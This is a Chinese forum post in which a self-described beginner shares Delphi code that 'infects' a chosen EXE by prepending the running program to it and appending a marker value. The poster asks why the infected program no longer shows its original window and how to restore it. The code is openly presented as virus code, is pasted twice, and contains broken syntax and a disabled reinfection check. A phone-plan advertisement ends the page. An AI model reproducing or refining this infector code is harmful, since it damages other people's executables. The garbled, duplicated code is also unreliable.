下面是一段DELPHI感染文件的代码,可是本人很菜,用它试着感染了一个EXE文件,也是用DELPHI编的,运行感染后的文件后,打开的是感染病毒的程序的窗口,而原程序的窗口不见了,好像根本就没有运行过一样。 顺便问下,这个被感染的文件怎样改回原来的状态。谢谢大家了,代码如下:procedure TForm1.Button1Click(Sender: TObject);
begin
if OpenDialog1.Execute then
Edit1.Text := OpenDialog1.FileName;
end;procedure TForm1.Copy(s:String);
var
s1, s2: TMemoryStream;
id, idd: Longint;
begin
id := $ + StrToInt('66666666');
s1 := TMemoryStream.Create;
s1.LoadFromFile(paramstr(0));
s2 := TMemoryStream.Create;
s2.LoadFromFile(s);
s2.Seek(-4, soFromEnd);
s2.Read(idd, 4); if idd=id then
begin
s1.Free;
s2.Free;
ShowMessage('文件已经感染病毒体了,,');
end ;
//else
// begin
s2.Seek(0, soFromBeginning);
s1.Seek(0, soFromEnd);
s1.CopyFrom(s2, s2.Size);
s1.Seek(0, soFromEnd);
s1.Write(id, 4);
s1.SaveToFile(s);
s1.Free;
s2.Free;
ShowMessage('文件成已成功感染病体');
// end;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
if Edit1.Text<>'' then
Copy(Edit1.Text)
else
ShowMessage('请选择好要,感染的文件');
end;end.
begin
if OpenDialog1.Execute then
Edit1.Text := OpenDialog1.FileName;
end;procedure TForm1.Copy(s:String);
var
s1, s2: TMemoryStream;
id, idd: Longint;
begin
id := $ + StrToInt('66666666');
s1 := TMemoryStream.Create;
s1.LoadFromFile(paramstr(0));
s2 := TMemoryStream.Create;
s2.LoadFromFile(s);
s2.Seek(-4, soFromEnd);
s2.Read(idd, 4); if idd=id then
begin
s1.Free;
s2.Free;
ShowMessage('文件已经感染病毒体了,,');
end ;
//else
// begin
s2.Seek(0, soFromBeginning);
s1.Seek(0, soFromEnd);
s1.CopyFrom(s2, s2.Size);
s1.Seek(0, soFromEnd);
s1.Write(id, 4);
s1.SaveToFile(s);
s1.Free;
s2.Free;
ShowMessage('文件成已成功感染病体');
// end;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
if Edit1.Text<>'' then
Copy(Edit1.Text)
else
ShowMessage('请选择好要,感染的文件');
end;end.
解决方案 »
免费领取超大流量手机卡,每月29元包185G流量+100分钟通话, 中国电信官方发货